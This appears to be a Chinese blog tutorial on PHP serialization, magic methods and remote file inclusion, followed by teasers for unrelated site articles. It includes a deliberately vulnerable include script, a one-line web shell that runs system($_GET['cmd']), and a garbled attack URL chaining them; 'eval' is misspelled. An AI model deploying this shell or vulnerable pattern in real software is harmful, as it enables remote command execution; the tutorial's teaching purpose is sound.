news 2026/5/5 23:36:36

web(3.)后端php安全(2)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
web(3.)后端php安全(2)

序列化和反序列化

序列化:将内存中的对象状态转换为可存储或传输的格式(如字节流)的过程。

serialize()

序列化对象时,只序列化属性,不管函数方法

反序列化:将序列化后的数据恢复为内存中原始对象的过程。

unserialize()

反序列化漏洞

php魔术方法利用

以双下划线 __ 开头的内置方法,会在特定场景下自动触发,不需要手动调用。

__construct() // 构造函数:实例化对象时自动调用

__destruct() // 析构函数:对象销毁时自动调用

__sleep() // serialize() 序列化对象时触发

__wakeup() // unserialize() 反序列化时触发

在魔术方法里危险函数

1.system():执行系统命令

2.exal():将字符串作为代码来执行的核心函数

3.include" ":包含(复制)文件里的代码到本文件

远程包含:

先打开远程文件包含

//a.php文件 <?php // 1. 用 $_GET 接收你在网址栏输入的内容 $input = $_GET['xss']; // 2. 直接输出到网页!!!【这才是漏洞根源】 echo "你输入的内容是:" . $input; include $input; ?>
//b文件 <?php system($_GET["cmd"]); ?>

在浏览器URL输入"127.0.0.1:8000/uploads/a.php?xss=http://127.0.0.1:8000/uploads/b.php?cmd=whoamihttp://127.0.0.1/demo/a.php?file=http://127.0.0.1/demo/b.php"

预防

  • 上传输入过滤
  • 没必要的危险函数禁用
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/5 23:35:56

Tool Calling 的实现细节——Agent 如何决定调用哪个工具

一、一个让我意识到问题所在的测试案例上篇博客写完之后&#xff0c;我以为 GraphRAG 检索模块接入 Agent 的工作已经基本完成了——工具封装成了 tool&#xff0c;传参是 list[str]&#xff0c;返回的是序列化后的自然语言描述。逻辑上没有任何问题。然后跑了一个测试&#xf…

作者头像 李华
网站建设 2026/5/5 23:20:40

Cortex-M55 CTI架构与调试技术详解

1. Cortex-M55交叉触发接口(CTI)架构解析 交叉触发接口(Cross Trigger Interface)是Arm CoreSight调试架构中的关键组件&#xff0c;在Cortex-M55处理器中扮演着调试事件路由中心的角色。这个32位宽度的硬件模块通过标准APB总线与处理器内核连接&#xff0c;其核心功能是建立触…

作者头像 李华
网站建设 2026/5/5 23:17:36

C++数据结构--大数据查重

一.哈希表在大数据查重中的应用哈希表在大数据查重中可以查找重复或统计重复出现的数字&#xff0c;但是其空间的占用率较高。例如&#xff0c;我们定义一个数组&#xff0c;存储了10000个随机数&#xff0c;然后利用CSLT中提供的哈希表解&#xff08;unordered_map与unordered…

作者头像 李华
网站建设 2026/5/5 23:16:53

GLA与GDN:高效Transformer注意力机制对比与实践

1. 研究背景与核心问题 在自然语言处理领域&#xff0c;Transformer架构已经成为当前语言模型的主流选择。然而随着模型规模的不断扩大&#xff0c;传统全连接注意力机制的计算开销和内存占用问题日益突出。GLA&#xff08;Gated Linear Attention&#xff09;和GDN&#xff08…

作者头像 李华